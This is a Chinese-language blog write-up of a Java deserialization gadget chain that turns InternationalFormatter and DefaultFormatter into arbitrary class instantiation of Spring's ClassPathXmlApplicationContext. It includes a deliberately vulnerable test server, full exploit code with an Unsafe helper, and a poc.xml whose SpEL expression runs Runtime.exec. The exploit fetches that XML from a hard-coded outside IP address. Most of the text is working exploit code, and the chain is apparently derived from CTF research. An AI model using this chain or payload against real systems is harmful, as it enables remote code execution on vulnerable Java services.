链尾来自于avss geekcon2024的old log,查找到一个链子去通往他,但是实例化成功了,无法查遍了Format都无法控制参数,于是手动patch了一个继承Format类使他的parseObject可控。

用codeql查询到漏洞利用链的过程就省略了

有反序列化,有springboot的jar包

测试环境

import com.sun.net.httpserver.HttpServer;

import javax.naming.InitialContext;
import java.io.IOException;

public class Main {

    public static void main(String[] args) throws IOException {
        var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
        var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);
        server.createContext("/", req -> {
            var code = 200;
            var response = switch (req.getRequestURI().getPath()) {
                case "/der" -> {
                    try {
                        var param = req.getRequestURI().getQuery();
                        yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();
                    } catch (Throwable e) {
                        e.printStackTrace();
                        yield ":(";
                    }
                }
                default -> {
                    code = 404;
                    yield "Not found";
                }
            };
            req.sendResponseHeaders(code, 0);
            var os = req.getResponseBody();
            os.write(response.getBytes());
            os.close();
        });
        server.start();
        System.out.printf("Server listening on :%s\n", port);
    }

}

其中我加了一个类

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.n1ght;

import java.text.FieldPosition;
import java.text.Format;
import java.text.ParsePosition;

public class StringFormat extends Format {
    private String str;

    public StringFormat(String str) {
        this.str = str;
    }

    public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos) {
        return (StringBuffer)obj;
    }

    public Object parseObject(String source, ParsePosition pos) {
        pos.setIndex(1);
        return source;
    }
}

当parseObject的时候返回任意字符串的值

链子分析

InternationalFormatter#readObject

@Serial
    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        updateMaskIfNecessary();
    }

调用了一个updateMaskIfNecessary

void updateMaskIfNecessary() {
        if (!getAllowsInvalid() && (getFormat() != null)) {
            if (!isValidMask()) {
                updateMask();
            }
            else {
                String newString = getFormattedTextField().getText();

                if (!newString.equals(string)) {
                    updateMask();
                }
            }
        }
    }

又调用了updateMask

void updateMask() {
        if (getFormat() != null) {
            Document doc = getFormattedTextField().getDocument();

            validMask = false;
            if (doc != null) {
                try {
                    string = doc.getText(0, doc.getLength());
                } catch (BadLocationException ble) {
                    string = null;
                }
                if (string != null) {
                    try {
                        Object value = stringToValue(string);
                        AttributedCharacterIterator iterator = getFormat().
                                  formatToCharacterIterator(value);

                        updateMask(iterator);
                    }
                    catch (ParseException pe) {}
                    catch (IllegalArgumentException iae) {}
                    catch (NullPointerException npe) {}
                }
            }
        }
    }

发现调用了Object value = stringToValue(string);

public Object stringToValue(String text) throws ParseException {
        Object value = stringToValue(text, getFormat());

        // Convert to the value class if the Value returned from the
        // Format does not match.
        if (value != null && getValueClass() != null &&
                             !getValueClass().isInstance(value)) {
            value = super.stringToValue(value.toString());
        }
        try {
            if (!isValidValue(value, true)) {
                throw new ParseException("Value not within min/max range", 0);
            }
        } catch (ClassCastException cce) {
            throw new ParseException("Class cast exception comparing values: "
                                     + cce, 0);
        }
        return value;
    }

这时候发现调用到DefaultFormatter#stringToValue

public Object stringToValue(String string) throws ParseException {
        Class<?> vc = getValueClass();
        JFormattedTextField ftf = getFormattedTextField();

        if (vc == null && ftf != null) {
            Object value = ftf.getValue();

            if (value != null) {
                vc = value.getClass();
            }
        }
        if (vc != null) {
            Constructor<?> cons;

            try {
                ReflectUtil.checkPackageAccess(vc);
                SwingUtilities2.checkAccess(vc.getModifiers());
                cons = vc.getConstructor(new Class<?>[]{String.class});

            } catch (NoSuchMethodException nsme) {
                cons = null;
            }

            if (cons != null) {
                try {
                    SwingUtilities2.checkAccess(cons.getModifiers());
                    return cons.newInstance(new Object[] { string });
                } catch (Throwable ex) {
                    throw new ParseException("Error creating instance", 0);
                }
            }
        }
        return string;
    }

会进行一个任意类实例化

即可ClassPathXmlApplicationContext

exp

package com.n1ght.src;

import com.n1ght.StringFormat;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.*;
import javax.swing.text.DefaultFormatter;
import javax.swing.text.InternationalFormatter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws  Exception{

        InternationalFormatter internationalFormatter = new InternationalFormatter();
        DefaultFormatter defaultFormatter = new DefaultFormatter();
        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
        JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
        jFormattedTextField.setValue("http://112.124.59.213/poc.xml");
        StringFormat aaa = new StringFormat("{0}");
        internationalFormatter.setFormat(aaa);
        UnSafeTools.setObject(internationalFormatter,
                JFormattedTextField.AbstractFormatter.class.getDeclaredField("ftf"),
                jFormattedTextField);
        UnSafeTools.setObject(internationalFormatter,
                DefaultFormatter.class.getDeclaredField("allowsInvalid"),
                false);
        UnSafeTools.setObject(internationalFormatter,
                InternationalFormatter.class.getDeclaredField("validMask"),
                true);
        UnSafeTools.setObject(internationalFormatter,
                DefaultFormatter.class.getDeclaredField("valueClass"),
                ClassPathXmlApplicationContext.class);
        internationalFormatter.setAllowsInvalid(false);

        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(internationalFormatter);
        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bao.toByteArray());
        new ObjectInputStream(byteArrayInputStream).readObject();
    }
}

UnsafeTools

package com.n1ght.src;//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//


import java.lang.reflect.Field;
import java.lang.reflect.Method;
import sun.misc.Unsafe;

public class UnSafeTools {
    static Unsafe unsafe;

    public UnSafeTools() {
    }

    public static Unsafe getUnsafe() throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe)field.get((Object)null);
        return unsafe;
    }

    public static void setObject(Object o, Field field, Object value) {
        unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
    }

    public static Object newClass(Class c) throws InstantiationException {
        Object o = unsafe.allocateInstance(c);
        return o;
    }

    public static void bypassModule(Class src, Class dst) throws Exception {
        Unsafe unsafe = getUnsafe();
        Method getModule = dst.getDeclaredMethod("getModule");
        getModule.setAccessible(true);
        Object module = getModule.invoke(dst);
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(src, addr, module);
    }

    static {
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe)field.get((Object)null);
        } catch (Exception var1) {
            System.out.println("Error: " + var1);
        }

    }
}

poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="data" class="java.lang.String">
<constructor-arg><value>PAYLOAD</value></constructor-arg>
</bean>
<bean class="#{T(java.lang.Runtime).getRuntime().exec('command')}"></bean>
</beans>